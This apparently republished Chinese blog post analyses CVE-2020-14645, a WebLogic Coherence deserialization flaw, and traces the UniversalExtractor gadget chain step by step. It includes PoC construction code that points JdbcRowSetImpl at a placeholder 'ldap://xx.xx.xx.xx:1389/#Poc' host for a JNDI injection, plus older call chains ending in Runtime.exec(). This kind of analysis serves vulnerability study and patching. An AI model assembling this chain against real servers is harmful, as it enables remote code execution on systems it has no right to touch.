您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
Oracle七月發布的安全更新中,包含了一個Weblogic的反序列化RCE漏洞,編號CVE-2020-14645,CVS評分9.8。
該漏洞是針對于CVE-2020-2883的補丁繞過,CVE-2020-2883補丁將MvelExtractor和ReflectionExtractor列入黑名單,因此需要另外尋找一個存在extract且方法內存在惡意操作的類,這里用到的類為com.tangosol.util.extractor.UniversalExtractor,存在于Coherence組件。
先來回顧一下CVE-2020-2883的兩個poc調用鏈
//poc1 javax.management.BadAttributeValueExpException.readObject() com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString() java.util.concurrent.ConcurrentSkipListMap$SubMap.size() java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd() java.util.concurrent.ConcurrentSkipListMap.cpr() com.tangosol.util.comparator.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() //... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec() //poc2 java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() //... Method.invoke() //... Runtime.exec()
其本質上,都是通過ReflectionExtractor調用任意方法,從而實現調用Runtime對象的exec方法執行任意命令,但補丁現在已經將ReflectionExtractor列入黑名單,那么只能使用UniversalExtractor重新構造一條利用鏈,這里使用poc2的入口即CommonsCollections4鏈的入口進行構造。
為了方便一些純萌新看懂,此處將會從0開始分析反序列化鏈(啰嗦模式警告),并且穿插一些poc構造時需要注意的點,先來看看調用棧。
從頭開始跟進分析整個利用鏈,先來看看PriorityQueue.readObject()方法。
第792會執行for循環,將s.readObject()方法賦給queue對象數組,跟進heapify()方法。
這里會取一半的queue數組分別執行siftDown(i, (E) queue[i]);,實質上PriorityQueue是一個最小堆,這里通過siftDown()方法進行排序實現堆化,那么跟進siftDown()方法。
這里有個對于comparator的判定,我們暫時不考慮comparator的值是什么,接下來會使用到,我們先跟進siftDownUsingComparator()方法。
重點關注comparator.compare()方法,那么我們先來看看comparator是怎么來的。
是在PriorityQueue的構造函數中被賦值的,并且這里可以看到,queue對象數組也是在這里被初始化的。那么結合上述所分析的點,我們需要構造一個長度為2的queue對象數組,才能觸發排序,進入siftDown()方法。同時還要選擇一個comparator,這里選用ExtractorComparator。繼續跟進ExtractorComparator.compare()方法。
這里將會調用this.m_extractor.extract()
方法,讓我們看看this.m_extractor
是怎么來的。
可以看到,this.m_extractor的值是與傳入的extractor有關的。這里需要構造this.m_extractor為ChainedExtractor,才可以調用ChainedExtractor的extract()方法實現串接extract()調用。因此,首先需要構造這樣一個PriorityQueue對象:
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); //這里chainedExtractor為ChainedExtractor對象,后續會說明chainedExtractor對象的具體構造
繼續跟進ChainedExtractor.extract()方法,可以發現會遍歷aExtractor數組,并調用其extract()方法。
可以看到,this.m_extractor的值是與傳入的extractor有關的。這里需要構造this.m_extractor為ChainedExtractor,才可以調用ChainedExtractor的extract()方法實現串接extract()調用。因此,首先需要構造這樣一個PriorityQueue對象:
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); //這里chainedExtractor為ChainedExtractor對象,后續會說明chainedExtractor對象的具體構造
繼續跟進ChainedExtractor.extract()方法,可以發現會遍歷aExtractor數組,并調用其extract()方法。
此處aExtractor數組是通過ChainedExtractor的父類AbstractCompositeExtractor的getExtractors()方法獲取到父類的m_aExtractor屬性值。
所以,poc中需要這樣構造m_aExtractor
:
Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true);
m_aExtractor
具體的值需要怎么構造,需要我們繼續往下分析。先回到我們所要利用到的UniversalExtractor
,跟進其extract()
方法。
此處由于m_cacheTarget使用了transient修飾,無法被反序列化,因此只能執行else部分,跟進extractComplex()方法。
這里看到最后有method.invoke()方法,oTarget和aoParam都是我們可控的,因此我們需要看看method的處理,跟進findMethod方法。
可以看到第477行可以獲取任意方法,但是要進入if語句,得先使fExactMatch為true,fStatic為false。可以看到fStatic是我們可控的,而fExactMatch默認為true,只要沒進入for循環即可保持true不變,使cParams為空即aclzParam為空的Class數組即可,此處aclzParam從getClassArray()方法獲取。
顯而易見,傳入一個空的Object[]即可。回到extractComplex()方法,此時我們只要我們進入第192行的else語句中,即可調用任意類的任意方法。但此時還需要fProperty的值為false,跟進isPropertyExtractor()方法。
可惜m_fMethod依舊是使用transient修飾,溯源m_fMethod的賦值過程。
可以看到,由于this對象的原因,getValueExtractorCanonicalName()方法始終返回的是null,那么跟進computeValuExtractorCanonicalName()方法。
此處不難理解,如果aoParam不為null且數組長度大于0就會返回null,因此我們調用的方法必須是無參的(因為aoParam必須為null)。接著如果方法名sName不以 () 結尾,則會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES數組中的前綴開頭,是的話就會截取掉并返回。
回到extractComplex方法中,在if條件里會對上述返回的方法名做首字母大寫處理,然后拼接BEAN_ACCESSOR_PREFIXES數組中的前綴,判斷clzTarget類中是否含有拼接后的方法。這時發現無論如何我們都只能調用任意類中get和is開頭的方法,并且還要是無參的。
整理下我們可以利用的思路:
調用init()方法,對this.method進行賦值,從而使fProperty的值為false,從而進入else分支語句,實現調用任意類的任意方法。然而這個思路馬上就被終結了,因為我們根本調用不了非get和is開頭的方法!!!
被transient修飾的m_cacheTarget在extractComplex方法中被賦值
在ExtractorComparator.compare()方法中,我們知道extract方法能被執行兩次,因此在第二次執行時,能夠在UniversalExtractor.extract方法中調用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)方法。但是這種方法也是行不通的,因為getMethod()獲取的就是圖上紅框的中的method,很顯然method依舊受到限制,當我們調用非 get 和 is 開頭的方法時,findMethod 會返回 null。
只能走方法被限制的路線了,尋找所有類中以 get 和 is開頭并且可利用的無參方法
get 和 is復現過Fastjson反序列化漏洞的小伙伴,應該清楚Fastjson的利用鏈尋找主要針對get和set方法,這時候就與我們的需求有重合處,不難想到JdbcRowSetImpl的JNDI注入,接下來一起回顧一下。
其connect方法中調用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方調用了connect方法。
有三個方法調用了connect方法,分別為prepare、getDatabaseMetaData和setAutoCommit方法,逐一分析。
prepare()
一開始就調用了connect方法,繼續回溯哪里調用了prepare方法。
execute方法,應該是用于執行sql查詢的
這個應該是用于獲取參數元數據的方法,prepare()方法應該都是用于一些與sql語句有關的操作方法中。
getDatabaseMetaData()
setAutoCommit()
必須讓this.conn為空,對象初始化時默認為null,因此直接進入else語句。其實this.conn就是connect方法,用于保持數據庫連接狀態。
回到connect方法,我們需要進入else語句才能執行lookup方法。有兩個前提條件,this.conn為空,也就是執行connect方法時是第一次執行。第二個條件是必須設置DataSourceName的值,跟進去該參數,發現為父類BaseRowSet的private屬性,可被反序列化。
那么,對于WebLogic這個反序列化利用鏈,我們只要利用getDatabaseMetaData()方法就行,接下來看看該怎么一步步構造poc。先從JdbcRowSetImpl的JNDI注入回溯構造:
JdbcRoSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance(); Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class); setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行構造 //利用ysoserial的Reflections模塊,由于需要獲取queue[i]進行compare,因此需要對數組進行賦值 Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue")); queueArray[0] = jdbcRowSet; queueArray[1] = jdbcRowSet;
接著構造 UniversalExtract 對象,用于調用 JdbcRowSetImpl 對象的方法
UniversalExtractor universalExtractor = new UniversalExtractor(); Object object = new Object[]{}; Reflections.setFieldValue(universalExtractor,"m_aoParam",object); Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData"); Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
緊接著將 UniversalExtract 對象裝載進文章開頭構造的 chainedExtractor 對象中
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor }; field.set(chainedExtractor,valueExtractor_list2);//field為m_aExtractor
此處,還有一個小點需注意,一個在文章開頭部分構造的 PriorityQueue 對象,需要構造一個臨時 Extractor 對象,用于創建時的 comparator,此處以 ReflectionExtractor 為例。其次,PriorityQueue 對象需要執行兩次 add 方法。
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{}); ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor}); PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); queue.add("1"); queue.add("1");
回到 PriorityQueue 對象的 readObject 方法
首先需要能進入 for 循環,for 循環就得有 size 的值,size 值默認為 0,private 屬性,可以通過反射直接設置,但是不想通過反射怎么辦,回溯賦值過程。
在 offer 方法處獲得賦值,而 offer 方法又是由 add 方法調用。(注意此處會執行 siftUp 方法,其中會觸發 comparator 的 compare 方法,從而執行 extract 方法)。
不難理解,每 add 一次,size 加 1,根據上述 heapify 方法,只會從開頭開始取一半的 queue 數組執行 siftDown 方法。所以 size 至少為 2,需要執行兩次 add 方法,而不是 add(2) 一次。
至此,poc 的主體就構造完成,其余部分就不在此闡述了,當然構造方式有很多,此處為方便萌新,分析得比較啰嗦,poc 也比較雜亂,大家可以自行構造屬于自己的 poc。
關于WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。